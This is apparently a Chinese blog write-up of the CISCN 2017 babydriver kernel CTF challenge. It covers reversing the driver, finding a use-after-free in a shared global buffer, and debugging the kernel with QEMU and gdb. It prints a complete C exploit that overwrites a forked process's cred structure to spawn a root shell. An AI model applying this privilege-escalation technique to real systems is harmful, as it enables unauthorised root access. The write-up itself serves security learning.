Loading... 进行调试,必然是 gdb attach 到 qemu 上了,在启动指令中加入 `-S -gdb tcp::1234` 即可启动一个调试口,在一个新的终端中打开 gdb,使用 targe remote :1234 即可 attach 上去。 光 attach 上去肯定不够,还需要能在恰当的地方打断点,以 CISCN 2017 babydrive 这题为例(题目可以在 [ctf-challenge](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver) 上面下到)。 ### 分析 题目提供了一个压缩包,解压后可以获得三个文件 ```shell $ x babydriver.tar boot.sh bzImage rootfs.cpio ``` 典型的 kernel 题都会提供这三个文件,boot.sh 提供启动虚拟机的指令,bzImge 是内核镜像文件,rootfs.cpio 是文件系统的打包。首先解压出 rootfs.cpio 中的文件 ```shell $ file rootfs.cpio rootfs.cpio: gzip compressed data, last modified: Tue Jul 4 08:39:15 2017, max compression, from Unix, original size modulo 2^32 2844672 ``` 可以看出 rootfs.cpio 是经过 gzip 压缩过的,所以先重命名文件,并解压 ```shell $ mv rootfs.cpio rootfs.cpio.gz $ x rootfs.cpio.gz ``` 就可以获得 .cpio 文件 ```shell $ file rootfs.cpio rootfs.cpio: ASCII cpio archive (SVR4 with no CRC) ``` 解压这个 rootfs.cpio 即可 ```shell cpio -idmv < rootfs.cpio ``` 注意这样会把 rootfs.cpio 中的所有文件解压到当前目录下,为了防止当前目录过于杂乱,可以建一个文件夹专门存放解压出来的文件。 解压之后获得 ```shell $ ls bin etc home init lib linuxrc proc sbin sys tmp usr ``` 这些文件。首先看一下 init 中写了什么 ```shell $ cat init #!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f ``` 可见 init 脚本先把 flag 设成了 root 所有,且仅 root 可读。 同时还用 insmod 指令加载了一个模块,也就是 babydriver.ko 这个驱动文件。 *关于 insmod* > Linux kernel 是一个单内核,虽然有速度较快等优点,但是却造成了功能拓展和维护较为困难,为了解决这个问题,Linux 引入了 LKM(动态可加载内核模块,Loadable Kernel Module,LKM)功能,可以在运行时插入、拔出模块,相关的命令有 > > * insmod 插入模块 > * rmmod 拔出模块 > * lsmod 列出已插入的模块 > > 这三个命令都是 shell 命令,可以直接在 shell 中执行。 这里通过 insmod 插入了 babydriver.ko 这个驱动,基本上这就是漏洞点的位置了,我们从 `/lib/modules/4.4.72/babydriver.ko` 中取出文件,放到 IDA 里面分析。 可以看到有这些函数 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/06/2674611123.png "></div> 上面这些黑体的函数是驱动程序提供的外部接口,根据名字我们可以猜测出,对设备使用文件操作函数时有 * open => babyopen * read => babyread * write => babywrite * ioctl => babyioctl * free => babyrelease 这些函数时在初试化的时候注册的,可以在 babydriver_init 函数中找到对应的操作验证 ```cpp int __cdecl babydriver_init() { int v0; // edx int v1; // ebx class *v2; // rax __int64 v3; // rax if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 ) { cdev_init(&cdev_0, &fops); cdev_0.owner = &_this_module; v1 = cdev_add(&cdev_0, babydev_no, 1LL); ``` 这是函数开头的部分, fops 即为 file_operations 类型的结构体,查看其值 ```cpp 00000000000008C0 C0 09 00 00 00 00 00 00+ fops file_operations <offset __this_module, 0, offset babyread, \ .data:00000000000008C0 00 00 00 00 00 00 00 00+ ; DATA XREF: babydriver_init:loc_1AA↑o .data:00000000000008C0 30 01 00 00 00 00 00 00+ offset babywrite, 0, 0, 0, 0, offset babyioctl, 0, 0,\ .data:00000000000008C0 F0 00 00 00 00 00 00 00+ offset babyopen, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \ .data:00000000000008C0 00 00 00 00 00 00 00 00+ 0, 0, 0> .data:00000000000008C0 00 00 00 00 00 00 00 00+ _data ends .data:00000000000008C0 00 00 00 00 00 00 00 00+ ``` 对照 file_operations 的定义 ```cpp struct file_operations { module *owner; loff_t (*llseek)(file *, loff_t, int); ssize_t (*read)(file *, char *, size_t, loff_t *); ssize_t (*write)(file *, const char *, size_t, loff_t *); ssize_t (*read_iter)(kiocb *, iov_iter *); ssize_t (*write_iter)(kiocb *, iov_iter *); int (*iterate)(file *, dir_context *); unsigned int (*poll)(file *, poll_table_struct *); __int64 (*unlocked_ioctl)(file *, unsigned int, unsigned __int64); __int64 (*compat_ioctl)(file *, unsigned int, unsigned __int64); int (*mmap)(file *, vm_area_struct *); int (*open)(inode *, file *); int (*flush)(file *, fl_owner_t); int (*release)(inode *, file *); int (*fsync)(file *, loff_t, loff_t, int); int (*aio_fsync)(kiocb *, int); int (*fasync)(int, file *, int); int (*lock)(file *, int, file_lock *); ssize_t (*sendpage)(file *, page *, int, size_t, loff_t *, int); unsigned __int64 (*get_unmapped_area)(file *, unsigned __int64, unsigned __int64, unsigned __int64, unsigned __int64); int (*check_flags)(int); int (*flock)(file *, int, file_lock *); ssize_t (*splice_write)(pipe_inode_info *, file *, loff_t *, size_t, unsigned int); ssize_t (*splice_read)(file *, loff_t *, pipe_inode_info *, size_t, unsigned int); int (*setlease)(file *, __int64, file_lock **, void **); __int64 (*fallocate)(file *, int, loff_t, loff_t); void (*show_fdinfo)(seq_file *, file *); }; ``` 即可验证各函数的对应 *这里使用面向对象的思维其实很好理解,注册时就是对类的虚表进行注册,各个函数就是对基类的虚函数的重写* 我们对设备的调用一般可以通过 open 进行,那么看一下 babyopen 的实现 ```cpp int __fastcall babyopen(inode *inode, file *filp) { _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL); babydev_struct.device_buf_len = 64LL; printk("device open\n"); return 0; } ``` babydev_struct 的类型为 babydevice_t,其定义如下 ```cpp struct babydevice_t { char *device_buf; size_t device_buf_len; }; ``` 可以看到 open 一个 babydev 的时候会向内核申请一段长为 64 的空间,并设 device_buf_len 为 64。 通过 ioctl 我们可以使用设备自定义的指令对设备进行操作,此设备的函数实现为 ```cpp __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; // rdx size_t v4; // rbx __int64 result; // rax _fentry__(filp, command); v4 = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL); babydev_struct.device_buf_len = v4; printk("alloc done\n"); result = 0LL; } else { printk("\x013defalut:arg is %ld\n", v3); result = -22LL; } return result; } ``` 可见该设备定义了 0x10001 指令,其作用是 kfree 掉 babydev_struct.device_buf 这一段内存,然后再 kmalloc 一段我们指定长度的空间,并更新长度。 write 和 read 就是向 babydev_struct.device_buf 其中读写。 漏洞点就是 babydev_struct 这个变量是一个全局变量,所以多个设备共用一个结构体,就造成了严重的临界区错误,当我们申请两个设备后,一个设备释放另一个设备 kmalloc 出来的空间,另一个设备就可以对这段被释放的空间任意写,形成了 UAF。 ### 利用 我们现在的目标是进行提权来读出 flag。提权,可以通过修改 cred 结构体来实现。 kernel 对进程的权限记录是通过 cred 结构体来实现的,这个结构体中记录了程序的 uid 等 id,我们把这些 id 改成 0 就可以实现提权。此题的 kernel 版本为 4.4.72,cred 结构体的定义为 ```cpp struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ struct rcu_head rcu; /* RCU deletion hook */ }; ``` 该结构体的大小为 0xa8。所以我们的提权思路就是先打开两次 babydrive 设备,申请一个 0xa8 大小的内核空间,然后把第一个设备释放掉,这样内核空间中就有 0xa8 大小的空闲空间可以被我们完全控制了,然后 fork 一个新进程,这个进程的 cred 结构体就会使用这 0xa8 大小的空间了(此题在此处大幅降低了难度,事实上,一般的 Linux 内核使用的 slab/slub 中 cred 和 kmalloc 是不会共用同一个 slab 的,但是此题的使用的内核两者共用,所以有这么一个很简单的做法),然后在父进程中修改这个结构体的所有 id(最主要的是 euid)为 0 就实现了提权。然后在子进程中调用 sh 即可获得 root shell。 exp 就是下面这样(照抄的 ctf-wiki) ```cpp #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/wait.h> #include <sys/stat.h> int main() { int device1 = open("/dev/babydev", 2); int device2 = open("/dev/babydev", 2); ioctl(device1, 0x10001, 0xa8); close(device1); int new_process_pid = fork(); if (new_process_pid < 0) { puts("[*] fork error"); exit(0); } else if (new_process_pid == 0) { char lots_zero[30] = {0}; write(device2, lots_zero, 28); if (getuid() == 0) { puts("[*] got root"); system("/bin/sh"); exit(0); } } else { wait(NULL); } close(device2); return 0; } ``` ### 调试 分析完了,再谈怎么调试,首先需要在启动命令中加入 `-S -gdb tcp::1234`,启动 boot.sh 后,会卡住,在一个新终端中启动 gdb,使用 `target remote :1234` attach 上去。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/06/710345620.png "></div> 然后用 c 指令让 qemu 启动。 启动之后我们希望能在 babydrive 相关的操作上打个断点,由于 babydrive.ko 保留了符号表,可以直接载入符号表。 在 sys/moudle 中可以看到各个模块的信息 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/06/1025470266.png "></div> 我们进入 babydriver/section 中,使用 `grep 0 .text` 来查看代码段的地址 ```cpp /sys/module/babydriver/sections $ grep 0 .text 0xffffffffc0000000 ``` 然后到 gdb 中载入符号表 ```cpp pwndbg> add-symbol-file ./core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000 add symbol table from file "./core/lib/modules/4.4.72/babydriver.ko" at .text_addr = 0xffffffffc0000000 Reading symbols from ./core/lib/modules/4.4.72/babydriver.ko... ``` 然后 b babyioctl 即可在 babyioctl 函数上下断了。 顺便提一下,如果在启动 gdb 时,加载了 vmlinux 的话,也就是这样 ```shell gdb vmlinux -q ``` 启动,可能会非常卡慢,这似乎是 pwndbg 造成的,在 `~/.gdbinit` 中把 source pwndbg 的那一行注释掉,以裸 gdb 的形式启动会比较流畅。 ### 参考 > [CTF-WIKI](https://ctf-wiki.org/pwn/linux/kernel/kernel_uaf) > > [Pwn In Kernel(一):基础知识](https://www.freebuf.com/articles/network/227357.html) 最后修改:2021 年 07 月 22 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 2 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧